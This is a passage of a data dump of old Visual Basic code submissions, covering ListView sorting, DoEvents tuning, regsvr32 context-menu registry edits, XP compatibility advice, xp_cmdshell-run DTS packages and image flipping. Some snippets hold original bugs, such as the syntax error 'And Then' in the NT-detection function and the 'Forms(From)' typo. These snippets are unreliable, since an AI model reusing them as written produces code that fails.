ListView1.SortOrder = lvwAscending\n ListView1.SortKey = ColumnHeader.Index - 1\n \n End If\n \nEnd Sub"},{"WorldId":1,"id":25725,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24139,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23809,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22728,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10675,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11054,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22126,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24851,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13941,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25102,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24437,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10728,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33401,"LineNumber":1,"line":"I added/changed some code to further optimize my code which basically is an\noptimization of the DoEvents method. Thanks goes to <a href=\"http://www.planet-source-code.com/vb/feedback/EmailUser.asp?lngWId=1&lngToPersonId=272887&txtReferralPage=http%3A%2F%2Fwww%2Eplanet%2Dsource%2Dcode%2Ecom%2Fvb%2Fscripts%2FShowCode%2Easp%3FlngWId%3D1%26txtCodeId%3D33401\">Marzo\nSette Torres Junior</a> for his help!\n\nIt is best to view the article located here: <a href=\"http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=29735&lngWId=1\">http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=29735&lngWId=1</a>\n\n\nNext download the code attached, which is just a class module. I included the Word DOC file from John G. with the class module. \n \nSimply add the module to your project and declare an object of the clsDoEvents type: \n Dim oDoEvents as clsDoEvents\n Set oDoEvents = New clsDoEvents\n\nThen set its only property to any of the enumerated values. \n oDoEvents.QueueUsed = Standard \n \nValid enumerated values for this property \n All_Inputs = QS_ALLINPUT \n All_Events = QS_ALLEVENTS \n Standard = QS_STANDARD \n Messages = QS_MESSAGES \n InputOnly = QS_INPUT \n Mouse = QS_MOUSE \n MouseMove = QS_MOUSEMOVE \n Timer = QS_TIMER \n \nConstants relating to the above enumerated values: \n QS_HOTKEY = &H80 \n QS_KEY = &H1 \n QS_MOUSEBUTTON = &H4 \n QS_MOUSEMOVE = &H2 \n QS_PAINT = &H20 \n QS_POSTMESSAGE = &H8 \n QS_SENDMESSAGE = &H40 \n QS_TIMER = &H10 \n QS_MOUSE = (QS_MOUSEMOVE Or\nQS_MOUSEBUTTON) \n QS_INPUT = (QS_MOUSE Or QS_KEY) \n QS_ALLEVENTS = (QS_INPUT Or QS_POSTMESSAGE Or QS_TIMER Or QS_PAINT Or _ \n QS_HOTKEY) \n QS_ALLINPUT = (QS_SENDMESSAGE Or QS_PAINT Or QS_TIMER Or QS_POSTMESSAGE Or _ \n QS_MOUSEBUTTON Or QS_MOUSEMOVE Or QS_HOTKEY Or QS_KEY) \nQS_MESSAGES = (QS_POSTMESSAGE Or QS_SENDMESSAGE) ' Not MS standard constant \n QS_STANDARD = (QS_HOTKEY Or QS_KEY Or QS_MOUSEBUTTON Or QS_PAINT) ' Not MS standard constant \n \nNow, in any long winded loop, simple call the only method: \n oDoEvents.GetInputState\n\nAPI function that will determine if we need to DoEvents: \nPrivate Declare Function GetQueueStatus Lib \"user32\" (ByVal fuFlags As Long) As Long\nDon't forget to destroy your object when you are through with it! \n Set oDoevents =\nNothing\n(I chose this method name to \"honor\" John for his article.)\n Thanks and good luck!\n"},{"WorldId":1,"id":34034,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12844,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11351,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12020,"LineNumber":1,"line":"\n \n<ol>\n<li> Click on Start Menu, choose \"Run\".\n<li> Type \"regedit\" and click \"OK\".\n<li> On the left panel of Registry Editor, go to : \nMy Computer\\HKEY_CLASSES_ROOT\\dllfile \n(expand the tree with alot of folder icons, from \"My Computer\", then \"HKEY_CLASSES_ROOT\" and then \"dllfile\", by clicking the \"+\" sign) \n<li> Right click on \"dllfile\", choose \"New\" -> \"Key\".\n<li> Rename the new key to \"shell\". IT SHOULD BE AT THE SAME LEVEL AS THE \"DefaultIcon\" KEY! \n<li> Create another key named \"Register\" under \"shell\"\n<li> On the right panel, set \"(Default)\" string value into \"Register DLL\" by double clicking on it.\n<li> Create another key named \"command\" under \"Register\"\n<li> Again, set the \"(Default)\" string value under \"command\" to: \nC:\\windows\\system\\regsvr32.exe \"%1\" \n<li> Restart your computer.\n<li> Now, right-click on some DLL files, there should be an extra option \"Register DLL\". Click on it.\n<li> A message box will appear, displaying the success message.\n</ol>\nJust in case you want to add another option called \"Unregister DLL\", you can create another key named \"Unregister\" under \"shell\" (\"Unregister\" should be the same level as \"Register\") and set the \"(default)\" string value to \"Unregister DLL\". Under \"Unregister\", create another key called \"command\" and set the \"(default)\" string value to \n┬á┬á┬á┬áC:\\Windows\\System\\RegSvr32.Exe /u \"%1\" \nRestart your computer. \"Unregister DLL\" should be available in context menu. The same trick applies to all file types. Let me know if you still have any problem. \n \n\n<table>\n<tr>\n<td valign=\"top\">Note:</td>\n<td valign=\"top\">\n<ol>\n<li>To make the same option available for .OCX files, search for \"ocxfile\" key under \"HKEY_CLASSES_ROOT\" and repeat step 4 to 12\n<li>Let say if you want to add a shell option to a file with extension .ABC , you must find the \".ABC\" key under \"HKEY_CLASSES_ROOT\". Memorize the default value under the key, (eg, \"(Default)\" is set to \"ABCFile\"). Find the key with the same same as the value (in this case, the key name is \"ABCFile\"). Now repeat from step 4 to 12. IF YOU CREATE THE \"shell\" key under \".ABC\", THINGS WILL NOT WORK OUT!\n<li>Backup your registry file so that you can restore them, just in case anything worse happen. Choose \"Registry\" from the menu, then \"Export Registry File\". The rest should be self explainable. \n<li>Windows ME (and 2000?) already have this built-in function. The \"Open With\" context menu option now contains \"Microsoft(C) Register Server\". Clicking on it will register the DLL only but not unregister it!\n</td>\n</tr>\n</table>\n"},{"WorldId":1,"id":11947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21837,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14444,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13714,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11121,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31966,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Form_Load()\nWith Combo1\n .AddItem \"ABCD\"\n .AddItem \"ACDE\"\n .AddItem \"ADEF\"\n .AddItem \"AEFG\"\n .AddItem \"ACFG\"\n .AddItem \"AFGH\"\n .AddItem \"AGHI\"\n End With\nEnd Sub\nPrivate Sub Combo1_KeyPress(KeyAscii As Integer)\nDim i As Long\nDim iNewStart As Integer\nDim strTemp As String\n'Figure out the string prefix to search gor\n If Combo1.SelStart = 0 Then\n strTemp = Combo1.Text & Chr(KeyAscii)\n Else\n strTemp = Left(Combo1.Text, Combo1.SelStart) & Chr(KeyAscii)\n End If\n'Pass -1 as lParam to search entire list\n i = SendMessage(Combo1.hwnd, CB_FINDSTRING, -1, strTemp)\n'-1 return code indicates failure to find the string \n If i <> -1 Then\n 'SendMessage returns the index of the first occurrence\n 'of strTemp in the combo's list.\n Combo1.Text = Combo1.List(i)\n 'Set the text selection appropriately for the\n 'suggested match\n Combo1.SelStart = Len(strTemp)\n Combo1.SelLength = Len(Combo1.List(i)) - Len(strTemp)\n KeyAscii = 0\n End If\n \nEnd Sub"},{"WorldId":1,"id":30554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22205,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14179,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14739,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29702,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27818,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27673,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27544,"LineNumber":1,"line":"\nWindows NT Compatibilty \nWith the release of Windows XP, everyone will be moving to the NT platform. This means that you have to prepare your apps to \nrun on the NT platform today! You can no longer just blow off NT compatibility. Did you know that Microsoft is dropping \nsupport for Windows 95 at the end of this year, and will drop Support for Windows 98 in 2 years? Windows 9x is a thing of \nthe past.\nNew Visual Themes \nMicrosoft has totally redesigned the User Interface (UI) in this version of Windows. The new Visual Themes are a \nsemi-problem. All of your VB apps will have the new titlebar, close/min/max buttons, and border, but the standard VB \ncontrols (like the button) will not. Realize, however, that simply replacing your buttons with the XP look-alike ones is \nNOT a solution. For one reason, it is not just the buttons that have been redesigned. Every control has been. Even \nthe frame. Also, if the user decides not to use the default theme, then your buttons will look strange because they use the \nstyle of the Windows default theme, not the one the user is using. Be aware that this does not affect menus. The VB menus \nhave been drawing in the new XP style menu. (including the alpha-blended shadows) UPDATE: I have created a button control that actually calls the Theme APIs to draw the button. You can <a href=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.27673/lngWId.1/qx/vb/scripts/ShowCode.htm\" target=\"_new\">get it here.</a>\nApplication Compatibility \nChances are, your app will probabally run on XP. If you have access to a Windows 2000 machine, test your app on it. \nIf it runs, chances are that it will run on XP. Since XP is WinNT, if you have used any code in your projects that is \nlabeled \"does not work in NT\", it won't run in XP. Usually, 9x-only code doesn't work in NT due to the security \nrestrictions. \nSome examples of what WON'T work: \n<bl><li>Anything that has to do with hiding your app from the CTRL-ALT-DEL list. The NT Task Manager shows ALL processes, no \nmatter what. Even system services show up. In fact, the RegisterServiceProcess API that many of you use to hide your apps \nfrom the list doesn't exsist under NT.</li>\n<li>Most code to shut down your computer. The app must get more token privliges before it calls the shutdown API. (assuming \nthe user has enough rights to shut down anyways) If you would like some good code to shut down a NT system, see <a \nhref=\"http://vbaccelerator.com/tips/vba0019.htm\" target=\"_new\">this page</a>.</li>\n<li>Code that writes to the Registry. Specifically, to anything besides HKEY_CURRENT_USER. HKLM writes fail if the current \nuser is not an Administrator.</li>\n<li>If you try to write to different areas of the hard drive. Many users can't write to many locations due to NTFS \nrestrictions.</li></bl>\n \nBasically, if the user has Admin rights, chances are that your app will run. But if they are not, you might have \nproblems.\nDetecting The Operating System \nAt a minimum, you should detect the OS that your program is running under. This way, if you are sure that your app won't run \nunder NT, you can simply display a message box informing the user that their OS is not supported and that they should go to \nyour website to download a new version of your software that does support NT, then exit your program. This prevents nasty VB \nerror message boxes that will only confuse the user. (or even GPFs) Here is some code that will detect if your app is \nrunning under NT or not: (You can put this into a .MOD)<pre>\nPublic Const VER_PLATFORM_WIN32_WINDOWS = 1\nPublic Const VER_PLATFORM_WIN32_NT = 2\nPublic Type OSVERSIONINFO\n OSVSize As Long\n dwVerMajor As Long\n dwVerMinor As Long\n dwBuildNumber As Long\n PlatformID As Long\n szCSDVersion As String * 128\nEnd Type\nPublic Declare Function GetVersionEx Lib \"kernel32\" Alias \"GetVersionExA\" _\n (lpVersionInformation As OSVERSIONINFO) As Long\nPublic Function RunningUnderNT() As Boolean\n Dim OSV As OSVERSIONINFO\n \n OSV.OSVSize = Len(OSV)\n \n If GetVersionEx(OSV) = 1 Then\n If OSV.PlatformID = VER_PLATFORM_WIN32_NT And Then\n\t\tRunningUnderNT = True\n\t End If\n End If\nEnd Function\n</pre>\nThen you can call the function during the startup of your app.<pre>\nPrivate Sub Form_Load()\nIf RunningUnderNT Then\n\tMsgBox \"Sorry. This program does not support your operating system.\" & vbCrLf & vbCrLf & \"Please go to my website at \n[address] to download the latest version of this program, which may support this version of Windows.\", vbCritical, \"Windows \nVersion Not Supported\"\n\tEnd\nEnd If\n...\nEnd Sub\n</pre>\nWhile your program is running, you can check the version of Windows before making any API calls that won't work in NT. You \ncan either state that the requested function is not available, or substitute NT-compatible calls in place of the 9x ones.\nThe NTFS File System \nFor those of you who have used a NT OS before, you know what NTFS is and what it does. To the rest of you, NTFS will be a \nnew suprise. While upgrading from Windows 9x/ME to XP, Setup will convert drives from FAT16/32 to NTFS. (You can choose not \nto, but you really should anyways.) NTFS allows Administrators to set access privlages to certain folders and even certain \nfiles. You can be granted anywhere from no access at all to full read/write access to a file/folder, and everything in \nbetween. So, it is possible that a user can read a file (even your application and it's folder) but not write to it. The \nprobelm comes in when your program tries to write to the disk, or even if it tries to read a file. What if your program \nwrites a configuration file, but the current user is not allowed to write to the folder? Not only will your program error \nout if you didn't put error handlers in, but the settings will never be saved. This is obviously not good. You should try \nto save settings to the HKEY_CURRENT_USER section of the Registry, or allow the user to pick where they want to save \nyour configuration file to. Then save the the path to the config file in the Registry. This way, you can be sure that \neverything works out OK. Also, be sure to ALWAYS put in error handlers in any sub/function that writes to the \nRegistry or the hard drive. Of course, it is a good idea to put error handlers in any sub or function to handle anything \nthat you didn't anticipate. I as a user can't stand when a VB app (or any other app for that matter) didn't use error \nhandlers, then comes up with that nasty little VB error message box, causing the program I'm using to close.\n┬á\nRemeber, NT cannot just be blown off anymore. You have to make your programs compatible with NT now. Good \nluck, and happy coding!\n"},{"WorldId":1,"id":24090,"LineNumber":1,"line":"Private Sub Command1_Click()\nLockWorkStation\nEnd Sub"},{"WorldId":1,"id":24093,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22883,"LineNumber":1,"line":"Private Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nPrivate Declare Function DrawAnimatedRects Lib \"user32\" (ByVal hwnd As Long, ByVal idAni As Long, lprcFrom As RECT, lprcTo As RECT) As Long\nPrivate Const IDANI_CAPTION = &H3\nPrivate Declare Function GetWindowRect Lib \"user32\" (ByVal hwnd As Long, lpRect As RECT) As Long\nPublic Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\nPrivate Declare Function WindowFromPoint Lib \"user32\" (ByVal xPoint As Long, ByVal yPoint As Long) As Long\nPrivate Declare Function GetClassName Lib \"user32\" Alias \"GetClassNameA\" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long\nPublic Type POINTAPI\n X As Long\n Y As Long\nEnd Type\n'ShowWindow\n'Opens your from with animation from an object to the window to show.\n' From_Object_hWnd: the hWnd of the object to start the animation from. This is usually the button that is clicked on to open a form.\n'ToWindow: The form to open.\n'ShowModal: Show the the from as a modal form? (similar to the [Modal] parameter of Form.Show)\n'OwnerOfNewWindow: The owner of a form. (similar to the [OwnerForm] parameter of Form.Show)\n'CenterWindow: Center the window on the screen? This is important, as if you only set the StartUpPosition property of a form to CenterScreen, the animation will run before the form is centered and will look funny. The form will be centered over the owner.\nPublic Sub ShowWindow(From_Object_hWnd As Long, ToWindow As Form, Optional ShowModal As Integer = vbModeless, Optional OwnerOfNewWindow As Form, Optional CenterWindow As Boolean)\nIf ShowModal <> 0 And ShowModal <> 1 Then\nErr.Raise 15448, \"ShowWindowAnimation\", \"Animated Window Show: ShowModal must be a value of 0 or 1. Requested value was \" & ShowModal & \". Window will not be opened.\"\nExit Sub\nEnd If\nOn Error Resume Next\nLoad ToWindow\nIf CenterWindow Then\nCenterChild OwnerOfNewWindow, ToWindow\nEnd If\n Dim FromRect As RECT, ToRect As RECT\n \n GetWindowRect From_Object_hWnd, FromRect\n GetWindowRect ToWindow.hwnd, ToRect\n \n DrawAnimatedRects ToWindow.hwnd, IDANI_CAPTION, FromRect, ToRect\nToWindow.Show ShowModal, OwnerOfNewWindow\nEnd Sub\n'UnloadWindow\n'Use this to make an animation from a window to an object when a window is closing. You could put this in the Form_Unload event:\n' UnloadWindow Me, PreviousWindow.Command1.hWnd\nPublic Sub UnloadWindow(WindowToClose As Form, Close_To_Object_hWnd As Long)\nOn Error Resume Next\n Dim FromRect As RECT, ToRect As RECT\n \n GetWindowRect WindowToClose.hwnd, FromRect\n GetWindowRect Close_To_Object_hWnd, ToRect\n \n DrawAnimatedRects WindowToClose.hwnd, IDANI_CAPTION, FromRect, ToRect\nUnload WindowToClose\nEnd Sub\n'Centers a child window over a parent window.\nPublic Sub CenterChild(Parent As Form, Child As Form)\n On Local Error Resume Next\n\n If Parent.WindowState = 1 Then\n Exit Sub\n Else\n Child.Left = (Parent.Left + (Parent.Width / 2)) - (Child.Width / 2)\n Child.Top = (Parent.Top + (Parent.Height / 2)) - (Child.Height / 2)\n End If\nEnd Sub\n'ShowWindowFromMouse\n'Somewhat like ShowWindow, but instead of starting the animation from an object, it starts the animation from the position of the mouse on the screen. This is useful for menus.\nPublic Sub ShowWindowFromMouse(ToWindow As Form, Optional ShowModal As Integer = vbModeless, Optional OwnerOfNewWindow As Form)\nIf ShowModal <> 0 And ShowModal <> 1 Then\nErr.Raise 15448, \"ShowWindowAnimation\", \"Animated Window Show: ShowModal must be a value of 0 or 1. Requested value was \" & ShowModal & \". Window will not be opened.\"\nExit Sub\nEnd If\nOn Error Resume Next\nLoad ToWindow\n Dim FromRect As RECT, ToRect As RECT, Mouse As POINTAPI\n GetCursorPos Mouse\n FromRect.Top = Mouse.Y\n FromRect.Left = Mouse.X\n FromRect.Bottom = Mouse.Y + 32\n FromRect.Right = Mouse.X + 32\n GetWindowRect ToWindow.hwnd, ToRect\n \n DrawAnimatedRects ToWindow.hwnd, IDANI_CAPTION, FromRect, ToRect\nToWindow.Show ShowModal, OwnerOfNewWindow\nEnd Sub\n'Makes an animation from the hWnd of an object to the position of the mouse.\nPublic Sub MouseTohWnd(AnimateTo As Long)\nOn Error Resume Next\n Dim FromRect As RECT, ToRect As RECT, Mouse As POINTAPI\n GetCursorPos Mouse\n FromRect.Top = Mouse.Y\n FromRect.Left = Mouse.X\n FromRect.Bottom = Mouse.Y + 32\n FromRect.Right = Mouse.X + 32\n GetWindowRect AnimateTo, ToRect\n \n DrawAnimatedRects AnimateTo, IDANI_CAPTION, FromRect, ToRect\nEnd Sub"},{"WorldId":1,"id":13920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14441,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32887,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14317,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21040,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13439,"LineNumber":1,"line":"Add the following code to form1:\nPrivate Sub Command1_Click()\n Dim doc As HTMLDocument 'Reference MSHTML.TLB - may end up being IHTMLDocument3\n 'go to the altavista (text) search page\n WebBrowser1.Navigate \"http://www.altavista.com/cgi-bin/query?text\"\n 'Wait until page is loaded\n Do\n DoEvents\n Loop Until Not WebBrowser1.Busy\n 'Make doc reference to the document inside the webbrowser control\n Set doc = WebBrowser1.Document\n 'Set field q with the value of Text1\n SetInputField doc, 0, \"q\", Text1\n 'Submit the form (same result as click the search button)\n doc.Forms(0).submit\n 'Wait until result are loaded\n Do\n DoEvents\n Loop Until Not WebBrowser1.Busy\n MsgBox \"Altavista search result loaded\"\nEnd Sub\n \n'Add the following code to a module:\nPublic Sub SetInputField(doc As HTMLDocument, Form As Integer, Name As String, Value As String)\n'doc = HTMLDocument, can be retrieved \n' from webbrowser --> webbrowser.document\n'Form = number of the form \n' (if only one form in the doc --> Form = 0)\n'Name = Name of the field you would like to fill\n'Value = The new value for the input field called name\n'PRE: Legal parameters entered\n'POST: Input field with name Name on form Form in document doc will be filled with Value\n For q = 0 To doc.Forms(Form).length - 1\n If doc.Forms(Form)(q).Name = Name Then\n doc.Forms(Form)(q).Value = Value\n Exit For\n End If\n Next q\nEnd Sub\n'Additional useful subs:\n'Sub to get the contents from a textbox:\nPublic Function GetInputField(doc As HTMLDocument, Form As Integer, Name As String) As String\n For q = 0 To doc.Forms(Form).Length - 1\n If doc.Forms(Form)(q).Name = Name Then\n GetInputField = doc.Forms(From)(q).Value\n Exit For\n End If\n Next q\nEnd Function\n'Sub to set a Checkbox:\nPublic Sub SetCheckBox(doc As HTMLDocument, Form As Integer, Name As String, Value As Boolean)\n For q = 0 To doc.Forms(Form).Length - 1\n If doc.Forms(Form)(q).Name = Name Then\n doc.Forms(From)(q).Checked = Value\n Exit For\n End If\n Next q\nEnd Sub\n'Sub set a radio button:\nPublic Sub SetRadioButton(doc As HTMLDocument, Form As Integer, Name As String, Name2 As String)\n For q = 0 To doc.Forms(Form).Length - 1\n If (doc.Forms(Form)(q).Name = Name) And (doc.Forms(Form)(q).Value = Name2) Then\n doc.Forms(From)(q).Checked = True\n Exit For\n End If\n Next q\nEnd Sub\n'Sub to make a selection in a ComboBox with Option Values:\nPublic Function SetComboBoxValue(ByVal doc As IHTMLDocument3, Form As Integer, Name As String, Name2 As String)\nDim q, i\nFor q = 0 To doc.Forms(Form).length - 1\n If (doc.Forms(Form)(q).Name = Name) Then\n For i = 0 To doc.Forms(Form)(q).length - 1\n If doc.Forms(Form)(q).Options(i).Value = Name2 Then\n doc.Forms(Form)(q).Options(i).Selected = True\n Exit For\n End If\n Next i\n End If\nNext q\nEnd Function\n'Sub to make a selection in a ComboBox without Option Values:\nPublic Function SetComboTextValue(ByVal doc As IHTMLDocument3, Form As Integer, Name As String, Name2 As String)\nDim q, i\nFor q = 0 To doc.Forms(Form).length - 1\n If (doc.Forms(Form)(q).Name = Name) Then\n For i = 0 To doc.Forms(Form)(q).length - 1\n If doc.Forms(Form)(q).Options(i).Text = Name2 Then\n doc.Forms(Form)(q).Options(i).Selected = True\n Exit For\n End If\n Next\n End If\nNext q\nEnd Function"},{"WorldId":1,"id":29526,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29503,"LineNumber":1,"line":"First: You create your DTS Package in SQL Server to do the job you need it to do. \nSecond: You create a Stored Procedure similar to the one I have provided: \n\nCREATE PROC sp_SampleShell AS \nEXEC master..xp_cmdshell 'C:\\MSSQL7\\BINN\\DTSRun.exe /S [SERVERNAME] /N [DTSNAME] /E'\n\n \nthis will execute the DTS Package via the xp_cmdshell provided by SQL. The DTSRun.exe will be found in your [MSSQL7\\BINN] directory. \nThird: In your VB Program you create an ADO connection to your Database and use the following information in your program: \n\n'--------------------------- \nIF RunPac(sp_SampleShell) = TRUE THEN \n┬á┬á[do something] \nELSE \n┬á┬á[do something else] \nEND IF \n'--------------------------- \nPrivate Function RunPac(StProc As String) As Boolean\n \n┬á┬áDim cnn As ADODB.Connection \n┬á┬áDim cmd As ADODB.Command \n┬á┬áOn Error GoTo Show_Err \n┬á┬áSet cnn = New ADODB.Connection \n┬á┬áSet cmd = New ADODB.Command \n┬á┬á'set our connection constraints \n┬á┬áWith cnn \n┬á┬á┬á┬á.ConnectionString = \"DATA SOURCE=[DSN]\" \n┬á┬á┬á┬á.CursorLocation = adUseClient \n┬á┬á┬á┬á.Open \n┬á┬á┬á┬á'process the stored procedure command with no records to return \n┬á┬á┬á┬áSet cmd = .Execute(StProc, , adExecuteNoRecords) \n┬á┬áEnd With \n┬á┬ácnn.Close \n┬á┬áSet cnn = Nothing \n┬á┬áSet cmd = Nothing \n┬á┬á'if successful return true \n┬á┬áRunPac = True \n┬á┬áExit Function \nShow_Err: \n┬á┬áDebug.Print Err.Number & \" - \" & Err.Description \n┬á┬á'if it fails return false \n┬á┬áRunPac = False \n┬á┬ácnn.Close \n┬á┬áSet cnn = Nothing \nEnd Function \n\n \nAnd voila!!! You've just created a remote process for a DTS Package... \nI hope this helps someone else out as well. \nA very good point was made that there may be an easier way of doing this using the reference to DTS.dll. I tried using that method and had some issues with my environment so I needed to develop something that didn't care about the development environment. Also, this method is used more for those who not only develop their own VB Applications but also develop their own Stored Procedures as well.\n \nI did not do another search in the past month or so regarding this so if this replicates anyone else I'm sorry, but this information did not exist when I originally needed it."},{"WorldId":1,"id":26587,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12956,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21159,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24012,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10616,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12042,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12294,"LineNumber":1,"line":"Article Written by\nManikantan\n3rd Agenda,\nWeb Development,\nIndia.\nWebsite:www.3rdagenda.com\nEmail:manikantan@3rdagenda.com\nImage Flipping\nAnother use of Visual Basic is the Flipping Images using the Paintpicture.Used to Flip the images around the Center either for 90 180 270 degrees.Can be useful in DTP works.\n\nPaintPicture is the most useful method of the pciturebox control which takes 10 Arguments to give various Effects to still images the Arguments are\n1) Source Picture\n2) Dest X\n3) Dest Y\n4) Dest Width\n5) Dest Height\n6) Source X\n7) Source Y\n8) Source Width\n9) Source Height\n10)Operation code.\n\n\nPrivate Sub Cmd_hflip_Click()\n picture_dest.PaintPicture picture_src.Picture, 0, 0, picture_src.ScaleWidth, picture_src.ScaleHeight, picture_src.ScaleWidth, 0, -picture_src.ScaleWidth, picture_src.ScaleHeight, &HCC0020\nEnd Sub\n\nPrivate Sub Cmd_vflip_Click()\n picture_dest.PaintPicture picture_src.Picture, 0, 0, picture_src.ScaleWidth, picture_src.ScaleHeight, 0, picture_src.ScaleHeight, picture_src.ScaleWidth, -picture_src.ScaleHeight, &HCC0020\nEnd Sub\n \nPrivate Sub Cmd_load_Click()\n On Error Resume Next\n CommonDialog.ShowOpen\n picture_src.Picture = LoadPicture(CommonDialog1.filename)\n If Err.Number = 481 Then MsgBox (\"The File Mentioned By You Is not A image file\")\nEnd Sub\nPrivate Sub Cmd_save_Click()\n\tCommonDialog1.ShowSave\n\tSavePicture picture_dest.Image, CommonDialog1.filename\nEnd Sub\nPrivate Sub Cmd_exit_Click()\n\tUnload Me\nEnd Sub\n\nPrivate Sub Rotate_Click()\n picture_dest.PaintPicture picture_src.Picture, 0, 0, picture_src.ScaleWidth, picture_src.ScaleHeight, picture_src.ScaleWidth, picture_src.ScaleHeight, -picture_src.ScaleWidth, -picture_src.ScaleHeight, &HCC0020\nEnd Sub\n\nArticel by \nManikantan\nEmail:manikantan@3rdagenda.com"},{"WorldId":1,"id":12199,"LineNumber":1,"line":"COM+ In the .net Frameworked Vb\nVisual Basic has been named for its Rapid Fast Application Creation facility\nBut it has been lacking on the object Orientation which limited its acceptance to\nthe creation of middle tier appication .The new .Net Version of the VB has elimiated \nthis Problem by Becoming Object Oriented.With this new Features VB delivers the \npower of C++,Java and Maintaning the Instant development Interface\n\nSome of the new Features are\n1)Overloading\nOverloading allows objects 's Methods and operators to have different meaning \ndepending on their context.Operators behave Differently Depending on the datatype\nFor example\noverloads sub myarticle(x as char)\noverloads sub myarticle(x as integer)\noverloads sub myarticle(x as string)\nAll the three functions will be different with the forth coming version of 